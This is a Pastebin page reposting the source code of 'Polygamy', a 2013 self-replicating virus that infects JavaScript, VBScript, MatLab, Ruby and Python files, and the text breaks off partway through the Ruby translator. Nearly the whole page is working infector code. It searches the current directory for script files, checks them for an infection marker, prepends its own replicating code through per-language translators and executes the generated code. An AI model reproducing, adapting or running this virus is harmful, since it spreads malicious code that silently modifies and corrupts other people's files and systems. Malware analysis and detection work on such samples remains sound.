Advertisement
FlyFar

Infector.JS/VBS/Matlab/Ruby/Python.Polygamy

Jul 3rd, 2023
910
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
JavaScript 40.93 KB | Cybersecurity | 0 0
  1. //////////////////////////////////////////////////////////////////////////////
  2. //
  3. //  JS/VBS/MatLab/Ruby/Python.Polygamy
  4. //  by Second Part To Hell
  5. //  July 2013
  6. //
  7. //  This is a five-language cross infector for JavaScript, VBScript, MatLab,
  8. //  Ruby and Python - using a special MetaLanguage.
  9. //
  10. //  The virus contains the infection-routines for every language written in a
  11. //  MetaLanguage. The MetaLanguage is translated into actual code with a
  12. //  language-dependent translator (therefor there are five independent
  13. //  translators in this code).
  14. //
  15. //  The main reason for this concept is the linear scaling of code-size and
  16. //  complexity with the number of languages. That means, adding a 6th language
  17. //  is as simple as adding the 2nd language. I hope I will see additional
  18. //  translators for other languages some day. :)
  19. //
  20. //  For more infos, see my text "Cross Script Infection using MetaLanguages" in
  21. //  valhalla#4.
  22. //
  23. //////////////////////////////////////////////////////////////////////////////
  24.  
  25. metaLanguage="Predefined";
  26. metaLanguage+="__AddML";
  27.  
  28. metaLanguage+="__Forall js";
  29. metaLanguage+="__  GetFileName fileName";
  30. metaLanguage+="__  ReadAll allContent fileName";
  31. metaLanguage+="__  Def infectionMarkerJS";
  32. metaLanguage+="__  AddString infectionMarkerJS metaLanguage";
  33. metaLanguage+="__  Exist doesExist allContent infectionMarkerJS";
  34. metaLanguage+="__  If doesExist < 0";
  35. metaLanguage+="__    Def newCodeJS";
  36. metaLanguage+="__    AddString newCodeJS metaLanguage=";
  37. metaLanguage+="__    AddChar newCodeJS 39 39";
  38. metaLanguage+="__    AddString newCodeJS ;translatorJS=";
  39. metaLanguage+="__    AddChar newCodeJS 39 39";
  40. metaLanguage+="__    AddString newCodeJS ;translatorVBS=";
  41. metaLanguage+="__    AddChar newCodeJS 39 39";
  42. metaLanguage+="__    AddString newCodeJS ;translatorMatLab=";
  43. metaLanguage+="__    AddChar newCodeJS 39 39";
  44. metaLanguage+="__    AddString newCodeJS ;translatorRuby=";
  45. metaLanguage+="__    AddChar newCodeJS 39 39";
  46. metaLanguage+="__    AddString newCodeJS ;translatorPython=";
  47. metaLanguage+="__    AddChar newCodeJS 39 39 59";
  48. metaLanguage+="__    AddStringAsChar newCodeJS metaLanguage+=String.fromCharCode( metaLanguage , );";
  49. metaLanguage+="__    AddStringAsChar newCodeJS translatorJS+=String.fromCharCode( translatorJS , );";
  50. metaLanguage+="__    AddStringAsChar newCodeJS translatorVBS+=String.fromCharCode( translatorVBS , );";
  51. metaLanguage+="__    AddStringAsChar newCodeJS translatorMatLab+=String.fromCharCode( translatorMatLab , );";
  52. metaLanguage+="__    AddStringAsChar newCodeJS translatorRuby+=String.fromCharCode( translatorRuby , );";
  53. metaLanguage+="__    AddStringAsChar newCodeJS translatorPython+=String.fromCharCode( translatorPython , );";
  54. metaLanguage+="__    Arithmetic newCodeJS newCodeJS + translatorJS";        
  55. metaLanguage+="__    Arithmetic newCodeJS newCodeJS + allContent";
  56. metaLanguage+="__    Write fileName newCodeJS";
  57. metaLanguage+="__  XX"
  58. metaLanguage+="__XX"
  59. metaLanguage+="__Forall vbs";
  60. metaLanguage+="__  GetFileName fileName";
  61. metaLanguage+="__  ReadAll allContent fileName";
  62. metaLanguage+="__  Def infectionMarkerVBS";
  63. metaLanguage+="__  AddString infectionMarkerVBS metaLanguage";
  64. metaLanguage+="__  Exist doesExist allContent infectionMarkerVBS";
  65. metaLanguage+="__  If doesExist < 0";
  66. metaLanguage+="__    Def newCodeVBS";
  67. metaLanguage+="__    AddString newCodeVBS Dim"
  68. metaLanguage+="__    AddChar newCodeVBS 32"
  69. metaLanguage+="__    AddString newCodeVBS metaLanguage,translatorJS,translatorVBS,translatorMatLab,translatorRuby,translatorPython";
  70. metaLanguage+="__    AddChar newCodeVBS 13 10"
  71. metaLanguage+="__    AddStringAsChar newCodeVBS metaLanguage=metaLanguage+Chr( metaLanguage )+Chr( )";
  72. metaLanguage+="__    AddStringAsChar newCodeVBS translatorJS=translatorJS+Chr( translatorJS )+Chr( )";
  73. metaLanguage+="__    AddStringAsChar newCodeVBS translatorVBS=translatorVBS+Chr( translatorVBS )+Chr( )";
  74. metaLanguage+="__    AddStringAsChar newCodeVBS translatorMatLab=translatorMatLab+Chr( translatorMatLab )+Chr( )";
  75. metaLanguage+="__    AddStringAsChar newCodeVBS translatorRuby=translatorRuby+Chr( translatorRuby )+Chr( )";
  76. metaLanguage+="__    AddStringAsChar newCodeVBS translatorPython=translatorPython+Chr( translatorPython )+Chr( )";
  77. metaLanguage+="__    Arithmetic newCodeVBS newCodeVBS + translatorVBS";
  78. metaLanguage+="__    Arithmetic newCodeVBS newCodeVBS + allContent";
  79. metaLanguage+="__    Write fileName newCodeVBS";
  80. metaLanguage+="__  XX"
  81. metaLanguage+="__XX"
  82. metaLanguage+="__Forall m";
  83. metaLanguage+="__  GetFileName fileName";
  84. metaLanguage+="__  ReadAll allContent fileName";
  85. metaLanguage+="__  Def infectionMarkerMatLab";
  86. metaLanguage+="__  AddString infectionMarkerMatLab metaLanguage";
  87. metaLanguage+="__  Exist doesExist allContent infectionMarkerMatLab";
  88. metaLanguage+="__  If doesExist < 0";
  89. metaLanguage+="__    Def newCodeMatLab";
  90. metaLanguage+="__    AddString newCodeMatLab metaLanguage=[];translatorJS=[];translatorVBS=[];translatorMatLab=[];translatorRuby=[];translatorPython=[];";
  91. metaLanguage+="__    AddChar newCodeMatLab 13 10"
  92. metaLanguage+="__    AddStringAsChar newCodeMatLab metaLanguage=[metaLanguage,char([ metaLanguage , ])];";
  93. metaLanguage+="__    AddStringAsChar newCodeMatLab translatorJS=[translatorJS,char([ translatorJS , ])];";
  94. metaLanguage+="__    AddStringAsChar newCodeMatLab translatorVBS=[translatorVBS,char([ translatorVBS , ])];";
  95. metaLanguage+="__    AddStringAsChar newCodeMatLab translatorMatLab=[translatorMatLab,char([ translatorMatLab , ])];";
  96. metaLanguage+="__    AddStringAsChar newCodeMatLab translatorRuby=[translatorRuby,char([ translatorRuby , ])];";
  97. metaLanguage+="__    AddStringAsChar newCodeMatLab translatorPython=[translatorPython,char([ translatorPython , ])];";
  98. metaLanguage+="__    AddString newCodeMatLab h=fopen(";
  99. metaLanguage+="__    AddChar newCodeMatLab 39";
  100. metaLanguage+="__    AddString newCodeMatLab createBlockOfCode.m";
  101. metaLanguage+="__    AddChar newCodeMatLab 39 44 39 119 39";
  102. metaLanguage+="__    AddString newCodeMatLab );fwrite(h,translatorMatLab);fclose(h);rehash;xx={};ML=[char([95,95]),metaLanguage];SplitOffset=[strfind(ML,char([95,95])),length(ML)+1];for";
  103. metaLanguage+="__    AddChar newCodeMatLab 32";
  104. metaLanguage+="__    AddString newCodeMatLab i=1:length(SplitOffset)-1;xx{end+1}=ML(SplitOffset(i)+2:SplitOffset(i+1)-1);end;eval(createBlockOfCode(xx,metaLanguage,translatorJS,translatorVBS,translatorMatLab,translatorRuby,translatorPython));delete(";
  105. metaLanguage+="__    AddChar newCodeMatLab 39";
  106. metaLanguage+="__    AddString newCodeMatLab createBlockOfCode.m";
  107. metaLanguage+="__    AddChar newCodeMatLab 39";
  108. metaLanguage+="__    AddString newCodeMatLab );";
  109. metaLanguage+="__    AddChar newCodeMatLab 13 10";
  110. metaLanguage+="__    Arithmetic newCodeMatLab newCodeMatLab + allContent";
  111. metaLanguage+="__    Write fileName newCodeMatLab";
  112. metaLanguage+="__  XX"
  113. metaLanguage+="__XX"
  114. metaLanguage+="__Forall rb";
  115. metaLanguage+="__  GetFileName fileName";
  116. metaLanguage+="__  ReadAll allContent fileName";
  117. metaLanguage+="__  Def infectionMarkerRuby";
  118. metaLanguage+="__  AddString infectionMarkerRuby metaLanguage";
  119. metaLanguage+="__  Exist doesExist allContent infectionMarkerRuby";
  120. metaLanguage+="__  If doesExist < 0";
  121. metaLanguage+="__    Def newCodeRuby";
  122. metaLanguage+="__    AddString newCodeRuby metaLanguage=";
  123. metaLanguage+="__    AddChar newCodeRuby 39 39";
  124. metaLanguage+="__    AddString newCodeRuby ;translatorJS=";
  125. metaLanguage+="__    AddChar newCodeRuby 39 39";
  126. metaLanguage+="__    AddString newCodeRuby ;translatorVBS=";
  127. metaLanguage+="__    AddChar newCodeRuby 39 39";
  128. metaLanguage+="__    AddString newCodeRuby ;translatorMatLab=";
  129. metaLanguage+="__    AddChar newCodeRuby 39 39";
  130. metaLanguage+="__    AddString newCodeRuby ;translatorRuby=";
  131. metaLanguage+="__    AddChar newCodeRuby 39 39";
  132. metaLanguage+="__    AddString newCodeRuby ;translatorPython=";
  133. metaLanguage+="__    AddChar newCodeRuby 39 39";
  134. metaLanguage+="__    AddChar newCodeRuby 13 10"
  135. metaLanguage+="__    AddStringAsChar newCodeRuby metaLanguage<< metaLanguage .chr<< .chr;";
  136. metaLanguage+="__    AddStringAsChar newCodeRuby translatorJS<< translatorJS .chr<< .chr;";
  137. metaLanguage+="__    AddStringAsChar newCodeRuby translatorVBS<< translatorVBS .chr<< .chr;";
  138. metaLanguage+="__    AddStringAsChar newCodeRuby translatorMatLab<< translatorMatLab .chr<< .chr;";
  139. metaLanguage+="__    AddStringAsChar newCodeRuby translatorRuby<< translatorRuby .chr<< .chr;";
  140. metaLanguage+="__    AddStringAsChar newCodeRuby translatorPython<< translatorPython .chr<< .chr;";
  141. metaLanguage+="__    Arithmetic newCodeRuby newCodeRuby + translatorRuby";        
  142. metaLanguage+="__    Arithmetic newCodeRuby newCodeRuby + allContent";
  143. metaLanguage+="__    Write fileName newCodeRuby";
  144. metaLanguage+="__  XX"
  145. metaLanguage+="__XX"
  146. metaLanguage+="__Forall py";
  147. metaLanguage+="__  GetFileName fileName";
  148. metaLanguage+="__  ReadAll allContent fileName";
  149. metaLanguage+="__  Def infectionMarkerPython";
  150. metaLanguage+="__  AddString infectionMarkerPython metaLanguage";
  151. metaLanguage+="__  Exist doesExist allContent infectionMarkerPython";
  152. metaLanguage+="__  If doesExist < 0";
  153. metaLanguage+="__    Def newCodePython";
  154. metaLanguage+="__    AddString newCodePython metaLanguage=";
  155. metaLanguage+="__    AddChar newCodePython 39 39";
  156. metaLanguage+="__    AddString newCodePython ;translatorJS=";
  157. metaLanguage+="__    AddChar newCodePython 39 39";
  158. metaLanguage+="__    AddString newCodePython ;translatorVBS=";
  159. metaLanguage+="__    AddChar newCodePython 39 39";
  160. metaLanguage+="__    AddString newCodePython ;translatorMatLab=";
  161. metaLanguage+="__    AddChar newCodePython 39 39";
  162. metaLanguage+="__    AddString newCodePython ;translatorRuby=";
  163. metaLanguage+="__    AddChar newCodePython 39 39";
  164. metaLanguage+="__    AddString newCodePython ;translatorPython=";
  165. metaLanguage+="__    AddChar newCodePython 39 39";
  166. metaLanguage+="__    AddChar newCodePython 13 10"
  167. metaLanguage+="__    AddStringAsChar newCodePython metaLanguage+=chr( metaLanguage )+chr( )";
  168. metaLanguage+="__    AddStringAsChar newCodePython translatorJS+=chr( translatorJS )+chr( )";
  169. metaLanguage+="__    AddStringAsChar newCodePython translatorVBS+=chr( translatorVBS )+chr( )";
  170. metaLanguage+="__    AddStringAsChar newCodePython translatorMatLab+=chr( translatorMatLab )+chr( )";
  171. metaLanguage+="__    AddStringAsChar newCodePython translatorRuby+=chr( translatorRuby )+chr( )";
  172. metaLanguage+="__    AddStringAsChar newCodePython translatorPython+=chr( translatorPython )+chr( )";
  173. metaLanguage+="__    Arithmetic newCodePython newCodePython + translatorPython";        
  174. metaLanguage+="__    Arithmetic newCodePython newCodePython + allContent";
  175. metaLanguage+="__    Write fileName newCodePython";
  176. metaLanguage+="__  XX"
  177. metaLanguage+="__XX"
  178.  
  179. nl=String.fromCharCode(13,10)
  180. translatorVBS='Function createBlockOfCode(CodeBlockArray)'+nl;
  181. translatorVBS+='    Dim RString, i'+nl;
  182. translatorVBS+='    RString=""'+nl;
  183. translatorVBS+='    For i=0 To UBound(CodeBlockArray)'+nl;
  184. translatorVBS+='        LineCode=Split(CodeBlockArray(i),Chr(32))'+nl;
  185. translatorVBS+='        If LineCode(0)="Predefined" Then'+nl;
  186. translatorVBS+='            RString=RString+"set fso=CreateObject("+Chr(34)+"Scripting.FileSystemObject"+Chr(34)+")"+nl'+nl;            
  187. translatorVBS+='        End If'+nl;
  188. translatorVBS+=''+nl;        
  189. translatorVBS+='        If LineCode(0)="Forall" Then'+nl;
  190. translatorVBS+='            RString=RString+"For Each x in fso.getfolder("+Chr(34)+"."+Chr(34)+").files"+nl'+nl;
  191. translatorVBS+='            RString=RString+"If lcase(fso.getextensionname(x))="+Chr(34)+LineCode(1)+Chr(34)+" Then"+nl'+nl;
  192. translatorVBS+='            Dim j, NewBlock'+nl;
  193. translatorVBS+='            NewBlock=Array()'+nl;
  194. translatorVBS+='            j=i+1'+nl;
  195. translatorVBS+='            Do While Left(CodeBlockArray(j),2)="  "'+nl;
  196. translatorVBS+='                ReDim Preserve NewBlock(UBound(NewBlock) + 1)'+nl;
  197. translatorVBS+='                NewBlock(UBound(NewBlock))=Mid(CodeBlockArray(j),3)'+nl;
  198. translatorVBS+='                j=j+1'+nl;
  199. translatorVBS+='            Loop'+nl;    
  200. translatorVBS+='            RString=RString+createBlockOfCode(NewBlock)'+nl;            
  201. translatorVBS+='            RString=RString+"End If"+nl'+nl;
  202. translatorVBS+='            RString=RString+"Next"+nl'+nl;                
  203. translatorVBS+='        End If'+nl;  
  204. translatorVBS+=''+nl;        
  205. translatorVBS+='        If LineCode(0)="If" Then'+nl;
  206. translatorVBS+='            RString=RString+"If "+LineCode(1)+LineCode(2)+LineCode(3)+" Then"+nl'+nl;
  207. translatorVBS+='            Dim k, NewBlockIf'+nl;
  208. translatorVBS+='            NewBlockIf=Array()'+nl;
  209. translatorVBS+='            k=i+1'+nl;
  210. translatorVBS+='            Do While Left(CodeBlockArray(k),2)="  "'+nl;
  211. translatorVBS+='                ReDim Preserve NewBlockIf(UBound(NewBlockIf) + 1)'+nl;
  212. translatorVBS+='                NewBlockIf(UBound(NewBlockIf))=Mid(CodeBlockArray(k),3)'+nl;
  213. translatorVBS+='                k=k+1'+nl;  
  214. translatorVBS+='            Loop'+nl;    
  215. translatorVBS+='            RString=RString+createBlockOfCode(NewBlockIf)'+nl;
  216. translatorVBS+='            RString=RString+"End If"+nl'+nl;
  217. translatorVBS+='        End If'+nl;    
  218. translatorVBS+=''+nl;        
  219. translatorVBS+='        If LineCode(0)="GetFileName" Then'+nl;
  220. translatorVBS+='            RString=RString+LineCode(1)+"=x"+nl'+nl;
  221. translatorVBS+='        End If'+nl;
  222. translatorVBS+=''+nl;        
  223. translatorVBS+='        If LineCode(0)="ReadAll" Then'+nl;
  224. translatorVBS+='             RString=RString+LineCode(1)+"=fso.opentextfile("+LineCode(2)+").readall"+nl'+nl;
  225. translatorVBS+='        End If'+nl;        
  226. translatorVBS+=''+nl;
  227. translatorVBS+='        If LineCode(0)="Exist" Then'+nl;
  228. translatorVBS+='             RString=RString+LineCode(1)+"=InStr("+LineCode(2)+","+LineCode(3)+")-1"+nl'+nl;
  229. translatorVBS+='        End If'+nl;
  230. translatorVBS+=''+nl;
  231. translatorVBS+='        If LineCode(0)="Def" Then'+nl;
  232. translatorVBS+='             RString=RString+"Dim "+LineCode(1)+nl'+nl;
  233. translatorVBS+='             RString=RString+LineCode(1)+"="+Chr(34)+Chr(34)+nl'+nl;
  234. translatorVBS+='        End If'+nl;
  235. translatorVBS+=''+nl;        
  236. translatorVBS+='        If LineCode(0)="Arithmetic" Then'+nl;
  237. translatorVBS+='             RString=RString+LineCode(1)+"="+LineCode(2)+LineCode(3)+LineCode(4)+nl'+nl;
  238. translatorVBS+='        End If'+nl;        
  239. translatorVBS+=''+nl;        
  240. translatorVBS+='        If LineCode(0)="Write" Then'+nl;
  241. translatorVBS+='             RString=RString+"fso.opentextfile("+LineCode(1)+",2).write "+LineCode(2)+nl'+nl;      
  242. translatorVBS+='        End If'+nl;
  243. translatorVBS+=''+nl;        
  244. translatorVBS+='        If LineCode(0)="AddString" Then'+nl;
  245. translatorVBS+='            RString=RString+LineCode(1)+"="+LineCode(1)+"+"+Chr(34)+LineCode(2)+Chr(34)+nl'+nl;
  246. translatorVBS+='        End If'+nl;
  247. translatorVBS+=''+nl;        
  248. translatorVBS+='        If LineCode(0)="AddChar" Then'+nl;
  249. translatorVBS+='            RString=RString+LineCode(1)+"="+LineCode(1)'+nl;
  250. translatorVBS+='            Dim n'+nl;
  251. translatorVBS+='            For n=2 To UBound(LineCode)'+nl;
  252. translatorVBS+='                RString=RString+"+Chr("+LineCode(n)+")"'+nl;    
  253. translatorVBS+='            Next'+nl;  
  254. translatorVBS+='            RString=RString+nl'+nl;          
  255. translatorVBS+='        End If'+nl;        
  256. translatorVBS+=''+nl;        
  257. translatorVBS+='        If LineCode(0)="AddML" Then'+nl;
  258. translatorVBS+='            RString=RString+"metaLanguage="'+nl;
  259. translatorVBS+='            Dim l'+nl;
  260. translatorVBS+='            For l=1 To Len(metaLanguage)'+nl;
  261. translatorVBS+='                RString=RString+"Chr("'+nl;
  262. translatorVBS+='                RString=RString+CStr(Asc(Mid(metaLanguage,l,1)))'+nl;
  263. translatorVBS+='                RString=RString+")+"'+nl;
  264. translatorVBS+='            Next'+nl;
  265. translatorVBS+='            RString=Left(RString,Len(RString)-1)+nl'+nl;          
  266. translatorVBS+='        End If'+nl;
  267. translatorVBS+=''+nl;        
  268. translatorVBS+='        If LineCode(0)="AddStringAsChar" Then'+nl;
  269. translatorVBS+='            Dim StringTrafo, m, TmpVar, qq'+nl;
  270. translatorVBS+='            StringTrafo=Eval(LineCode(3))'+nl;
  271. translatorVBS+='            qq=1'+nl;
  272. translatorVBS+='            While qq<Len(StringTrafo)'+nl;
  273. translatorVBS+='                count=1000'+nl;
  274. translatorVBS+='                TmpVar=""'+nl;
  275. translatorVBS+='                If Len(StringTrafo)-qq<1000 Then'+nl;
  276. translatorVBS+='                    count=Len(StringTrafo)-qq'+nl;
  277. translatorVBS+='                End If'+nl;
  278. translatorVBS+='                For m=0 To count'+nl;
  279. translatorVBS+='                    TmpVar=TmpVar+CStr(Asc(Mid(StringTrafo,qq,1)))+LineCode(4)'+nl;
  280. translatorVBS+='                    qq=qq+1'+nl;
  281. translatorVBS+='                Next'+nl;
  282. translatorVBS+='                RString=RString+LineCode(1)+"="+LineCode(1)+"+"+Chr(34)+LineCode(2)+Left(TmpVar,Len(TmpVar)-Len(LineCode(4)))+LineCode(5)+Chr(34)+nl'+nl;
  283. translatorVBS+='                RString=RString+LineCode(1)+"="+LineCode(1)+"+Chr(13)+Chr(10)"+nl'+nl;
  284. translatorVBS+='            Wend'+nl;
  285. translatorVBS+='        End If'+nl;
  286. translatorVBS+='    Next'+nl;
  287. translatorVBS+='    createBlockOfCode=RString'+nl;    
  288. translatorVBS+='End Function'+nl;
  289. translatorVBS+=''+nl;
  290. translatorVBS+='nl=Chr(13)+Chr(10)'+nl;
  291. translatorVBS+='xx=Split(metaLanguage,"__")'+nl;
  292. translatorVBS+='MyCode=createBlockOfCode(xx)'+nl;
  293. translatorVBS+='Execute(MyCode)'+nl;
  294.  
  295. translatorMatLab="function RString = createBlockOfCode(CodeBlockArray,metaLanguage,translatorJS,translatorVBS,translatorMatLab,translatorRuby,translatorPython)"+nl;
  296. translatorMatLab+="nl=char([13 10]);"+nl;    
  297. translatorMatLab+="RString='';"+nl;
  298. translatorMatLab+="    for i=1:length(CodeBlockArray)"+nl;        
  299. translatorMatLab+="        LineCode=[];"+nl;
  300. translatorMatLab+="        tmpCBA=CodeBlockArray{i};"+nl;
  301. translatorMatLab+="        SplitOffset=[1 strfind(tmpCBA,' ') length(tmpCBA)+1];"+nl;
  302. translatorMatLab+="        for j=1:length(SplitOffset)-1"+nl;
  303. translatorMatLab+="            LineCode{end+1}=tmpCBA(SplitOffset(j):SplitOffset(j+1)-1);"+nl;
  304. translatorMatLab+="        end"+nl;
  305. translatorMatLab+="        if(strcmp(LineCode(1),'Forall'))"+nl;
  306. translatorMatLab+="            RString=[RString 'e=dir(' char(39) '*.' LineCode{2}(2:end) char(39) ');' nl];"+nl;
  307. translatorMatLab+="            RString=[RString 'for d=1:length(e) ' nl];"+nl;
  308. translatorMatLab+="            j=i+1;NewBlock={};"+nl;
  309. translatorMatLab+="            while strcmp(CodeBlockArray{j}(1:2),'  ')"+nl;
  310. translatorMatLab+="                NewBlock{end+1}=CodeBlockArray{j}(3:end);"+nl;
  311. translatorMatLab+="                j=j+1;"+nl;
  312. translatorMatLab+="            end"+nl;
  313. translatorMatLab+="            RString=[RString createBlockOfCode(NewBlock,metaLanguage,translatorJS,translatorVBS,translatorMatLab,translatorRuby,translatorPython)];"+nl;
  314. translatorMatLab+="            RString=[RString 'end;' nl];"+nl;
  315. translatorMatLab+="        end"+nl;    
  316. translatorMatLab+=""+nl;        
  317. translatorMatLab+="        if(strcmp(LineCode(1),'If'))"+nl;
  318. translatorMatLab+="            RString=[RString 'if ' LineCode{2}(2:end) LineCode{3}(2:end) LineCode{4}(2:end) nl];"+nl;
  319. translatorMatLab+="            j=i+1;NewBlock={};"+nl;
  320. translatorMatLab+="            while strcmp(CodeBlockArray{j}(1:2),'  ')"+nl;
  321. translatorMatLab+="                NewBlock{end+1}=CodeBlockArray{j}(3:end);"+nl;
  322. translatorMatLab+="                j=j+1;"+nl;
  323. translatorMatLab+="            end"+nl;
  324. translatorMatLab+="            RString=[RString createBlockOfCode(NewBlock,metaLanguage,translatorJS,translatorVBS,translatorMatLab,translatorRuby,translatorPython)];"+nl;
  325. translatorMatLab+="            RString=[RString 'end;' nl];"+nl;            
  326. translatorMatLab+="        end"+nl;          
  327. translatorMatLab+=""+nl;
  328. translatorMatLab+="        if(strcmp(LineCode(1),'GetFileName'))"+nl;    
  329. translatorMatLab+="            RString=[RString LineCode{2}(2:end) '=e(d).name;' nl];"+nl;
  330. translatorMatLab+="        end"+nl;
  331. translatorMatLab+=""+nl;        
  332. translatorMatLab+="        if(strcmp(LineCode(1),'ReadAll'))"+nl;    
  333. translatorMatLab+="            RString=[RString 'tmpML=fopen(' LineCode{3}(2:end) ',' char(39) 'r+' char(39) ');' nl];"+nl;
  334. translatorMatLab+="            RString=[RString LineCode{2}(2:end) '=fread(tmpML,' char(39) '*char' char(39) ')' char(39) ';' nl];"+nl;
  335. translatorMatLab+="            RString=[RString 'fclose(tmpML);' nl];"+nl;
  336. translatorMatLab+="        end"+nl;        
  337. translatorMatLab+=""+nl;        
  338. translatorMatLab+="        if(strcmp(LineCode(1),'Exist'))"+nl;    
  339. translatorMatLab+="            RString=[RString LineCode{2}(2:end) '=length(findstr(' LineCode{3}(2:end) ',' LineCode{4}(2:end) '))-1;' nl];"+nl;
  340. translatorMatLab+="        end"+nl;  
  341. translatorMatLab+=""+nl;        
  342. translatorMatLab+="        if(strcmp(LineCode(1),'Def'))"+nl;    
  343. translatorMatLab+="            RString=[RString LineCode{2}(2:end) '=[];' nl];"+nl;
  344. translatorMatLab+="        end"+nl;  
  345. translatorMatLab+=""+nl;        
  346. translatorMatLab+="        if(strcmp(LineCode(1),'Arithmetic'))"+nl;    
  347. translatorMatLab+="            RString=[RString LineCode{2}(2:end) '=[' LineCode{3}(2:end) ' ' LineCode{5}(2:end) '];' nl];"+nl;
  348. translatorMatLab+="        end"+nl;  
  349. translatorMatLab+=""+nl;        
  350. translatorMatLab+="        if(strcmp(LineCode(1),'Write'))"+nl;    
  351. translatorMatLab+="            RString=[RString 'tmpML=fopen(' LineCode{2}(2:end) ',' char(39) 'r+' char(39) ');' nl];"+nl;
  352. translatorMatLab+="            RString=[RString 'fwrite(tmpML,' LineCode{3}(2:end) ');' nl];"+nl;
  353. translatorMatLab+="            RString=[RString 'fclose(tmpML);' nl];"+nl;
  354. translatorMatLab+="        end"+nl;  
  355. translatorMatLab+=""+nl;        
  356. translatorMatLab+="        if(strcmp(LineCode(1),'AddString'))"+nl;
  357. translatorMatLab+="            RString=[RString LineCode{2}(2:end) '=[' LineCode{2}(2:end) ' ' char(39) LineCode{3}(2:end) char(39) '];' nl];"+nl;
  358. translatorMatLab+="        end"+nl;          
  359. translatorMatLab+=""+nl;        
  360. translatorMatLab+="        if(strcmp(LineCode(1),'AddChar'))"+nl;    
  361. translatorMatLab+="            RString=[RString LineCode{2}(2:end) '=[' LineCode{2}(2:end) ' '];"+nl;
  362. translatorMatLab+="            for j=3:length(LineCode)"+nl;
  363. translatorMatLab+="                RString=[RString 'char(' LineCode{j}(2:end) ') '];"+nl;
  364. translatorMatLab+="            end"+nl;
  365. translatorMatLab+="            RString=[RString '];' nl];"+nl;
  366. translatorMatLab+="        end"+nl;          
  367. translatorMatLab+=""+nl;        
  368. translatorMatLab+="        if strcmp(LineCode(1),'AddML')"+nl;
  369. translatorMatLab+="            RString=[RString 'metaLanguage=char([' int2str(metaLanguage-0) ']);' nl];"+nl;
  370. translatorMatLab+="        end"+nl;
  371. translatorMatLab+=""+nl;        
  372. translatorMatLab+="        if strcmp(LineCode(1),'AddStringAsChar')"+nl;
  373. translatorMatLab+="            StringTrafo=eval(LineCode{4}(2:end));"+nl;
  374. translatorMatLab+="            j=1;"+nl;
  375. translatorMatLab+="            while j<length(StringTrafo)"+nl;
  376. translatorMatLab+="                count=1000;"+nl;
  377. translatorMatLab+="                TmpVar='';"+nl;
  378. translatorMatLab+="                if length(StringTrafo)-j<1000"+nl;
  379. translatorMatLab+="                    count=length(StringTrafo)-j+1;"+nl;
  380. translatorMatLab+="                end;"+nl;
  381. translatorMatLab+="                for k=1:count"+nl;
  382. translatorMatLab+="                    TmpVar=[TmpVar int2str(StringTrafo(j)-0) LineCode{5}(2:end)];"+nl;
  383. translatorMatLab+="                    j=j+1;"+nl;
  384. translatorMatLab+="                end"+nl;                        
  385. translatorMatLab+="                RString=[RString LineCode{2}(2:end) '=[' LineCode{2}(2:end) ' ' char(39) LineCode{3}(2:end) TmpVar(1:end-length(LineCode{5})+1) LineCode{6}(2:end) char(39) '];' nl];"+nl;
  386. translatorMatLab+="                RString=[RString LineCode{2}(2:end) '=[' LineCode{2}(2:end) ' char([13,10])];' nl];"+nl;
  387. translatorMatLab+="            end"+nl;
  388. translatorMatLab+="        end"+nl;
  389. translatorMatLab+="    end"+nl;
  390. translatorMatLab+="end"+nl;
  391.  
  392. translatorRuby='def createBlockOfCode(codeBlockArray,metaLanguage,translatorJS,translatorVBS,translatorMatLab,translatorRuby,translatorPython)'+nl;
  393. translatorRuby+='    rString=""'+nl;
  394. translatorRuby+='    i=0'+nl;
  395. translatorRuby+='    while i<codeBlockArray.length'+nl;
  396. translatorRuby+='        lineCode=codeBlockArray[i].split(/ /)'+nl;
  397. translatorRuby+='        if lineCode[0].eql? "Forall"'+nl;
  398. translatorRuby+='            rString << "c=Dir.open(Dir.getwd);c.each do |d|" << 13.chr << 10.chr << "if File.exist?(d) && File.extname(d)==" << 34.chr << "." << lineCode[1] << 34.chr << ";"'+nl;
  399. translatorRuby+='            j=i+1;newBlock=[]'+nl;
  400. translatorRuby+='            while codeBlockArray[j][0,2].eql? "  "'+nl;
  401. translatorRuby+='                newBlock.push(codeBlockArray[j][2,codeBlockArray[j].length]);'+nl;
  402. translatorRuby+='                j+=1;'+nl;
  403. translatorRuby+='            end'+nl;
  404. translatorRuby+='            rString << createBlockOfCode(newBlock,metaLanguage,translatorJS,translatorVBS,translatorMatLab,translatorRuby,translatorPython) << "end;end" << 13.chr << 10.chr'+nl;
  405. translatorRuby+='        end'+nl;
  406. translatorRuby+=''+nl;        
  407. translatorRuby+='        if lineCode[0].eql? "If"'+nl;
  408. translatorRuby+='            rString << "if " << lineCode[1] << lineCode[2] << lineCode[3] << 13.chr << 10.chr'+nl;
  409. translatorRuby+='            j=i+1;newBlock=[]'+nl;
  410. translatorRuby+='            while codeBlockArray[j][0,2].eql? "  "'+nl;
  411. translatorRuby+='                newBlock.push(codeBlockArray[j][2,codeBlockArray[j].length])'+nl;
  412. translatorRuby+='                j+=1'+nl;
  413. translatorRuby+='            end;'+nl;
  414. translatorRuby+='            rString << createBlockOfCode(newBlock,metaLanguage,translatorJS,translatorVBS,translatorMatLab,translatorRuby,translatorPython) << "end" << 13.chr << 10.chr'+nl;  
  415. translatorRuby+='        end'+nl;
  416. translatorRuby+=''+nl;        
  417. translatorRuby+='        if lineCode[0].eql? "GetFileName"'+nl;      
  418. translatorRuby+='            rString << lineCode[1] << "=d;"'+nl;
  419. translatorRuby+='        end'+nl;  
  420. translatorRuby+=''+nl;        
  421. translatorRuby+='        if lineCode[0].eql? "ReadAll"'+nl;      
  422. translatorRuby+='            rString << "f=File.open(" << lineCode[2] << "," << 34.chr << "r+" << 34.chr << ");" << lineCode[1] << "=f.read(File.size(f));f.close;"'+nl;
  423. translatorRuby+='        end'+nl;          
  424. translatorRuby+=''+nl;        
  425. translatorRuby+='        if lineCode[0].eql? "Exist"'+nl;      
  426. translatorRuby+='            rString << "tmp=" << lineCode[2] << ".include?(" << lineCode[3] << ");" << lineCode[1] << "=0;if !tmp;" << lineCode[1] <<"=-1;end;"'+nl;
  427. translatorRuby+='        end'+nl;  
  428. translatorRuby+=''+nl;        
  429. translatorRuby+='        if lineCode[0].eql? "Def"'+nl;      
  430. translatorRuby+='            rString<<lineCode[1]<<"="<<34.chr<<34.chr<<";";'+nl;
  431. translatorRuby+='        end'+nl;  
  432. translatorRuby+=''+nl;        
  433. translatorRuby+='        if lineCode[0].eql? "Arithmetic"'+nl;      
  434. translatorRuby+='            rString<<lineCode[1]<<"="<<lineCode[2]<<"<<"<<lineCode[4]<<";";'+nl;
